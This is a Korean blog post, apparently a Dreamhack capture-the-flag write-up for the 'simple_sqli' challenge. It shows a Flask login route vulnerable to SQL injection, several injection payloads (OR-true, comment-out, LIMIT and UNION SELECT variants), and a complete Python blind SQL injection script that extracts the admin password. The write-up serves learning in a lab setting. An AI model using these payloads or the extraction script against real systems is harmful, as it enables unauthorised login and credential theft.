dreamhack

[Dreamhack] simple_sqli

부산영롱 2024. 1. 9. 16:57

 

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

서버 코드의 login 부분만 가져왔다. userid 입력을 ""(쌍따옴표)로 감싸주는 것을 볼 수 있다.

 

여러가지 SQL injection 구문을 사용해서 admin 계정에 로그인 할 수 있었다.

select * from users where userid="admin" or "1"
select * from users where userid="admin"--

위와 같이 userid에 admin" or "1 을 입력해서 패스워드 입력과 상관없이 참으로 만들거나 admin"-- 를 입력해서 패스워드 검증부분을 주석처리하여 로그인 할 수 있다.

select * from users where userid="" or 1 LIMIT 1,1--

" or 1 LIMIT 1,1-- 를 입력하여 admin 계정으로 로그인 할 수 있는데 만약에 admin 계정이 첫 번째 Row에 있으면

" or 1 LIMIT 0,1-- 를 입력해서 로그인 할 수 있다.

select * from users where userid="" union select * from users where userid="admin";--
select * from users where userid="" union select * from users;--

union을 이용하는 방법도 있다. union select는 결과의 값을 합하여 출력하여 주는 집합 연산자이다. 

" union select * from users where userid="admin";-- 를 입력하여 admin 계정으로 로그인 할 수도 있고

아이디를 입력하지 않고 " union select * from users;-- 만 입력해도 admin 계정으로 로그인이 된다.

두번째 쿼리로 admin 계정에 로그인 할 수 있었던 이유는 union select * guest와 admin 모두 반환되는데 기본적으로 정렬은 오름차순이므로, userid가 a로 시작하는 admin이 첫번째 인덱스로 나오게 된다. 따라서 admin으로 로그인이 된다.

 

파이썬 코드로 자동화하여 blind sql injection을 수행할 수도 있다.

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""

    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")

    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {"userid": userid, "userpassword": userpassword}
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f'" or {query}-- ', "hi")
        return resp

    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low + high) // 2
            if low + 1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid

    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len

    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ""
        for idx in range(1, pw_len + 1):
            query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
            print(f"{idx}. {pw}")
        return pw

    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")


if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

위 코드에서 self._chall_url 변수 문제를 위해 생성된 url과 같은지 확인한 뒤 '.python 파일명 포트번호' 를 입력하여 실행하면 admin 계정의 패스워드를 알아낼 수 있다.

'dreamhack' 카테고리의 다른 글

[Dreamhack] command-injection-1  (0) 2024.01.10
[Dreamhack] Mango  (0) 2024.01.10
[Dreamhack] CSRF-1 / 2  (0) 2024.01.01
[Dreamhack] xss-2  (0) 2023.12.31
[Dreamhack] xss-1  (0) 2023.12.31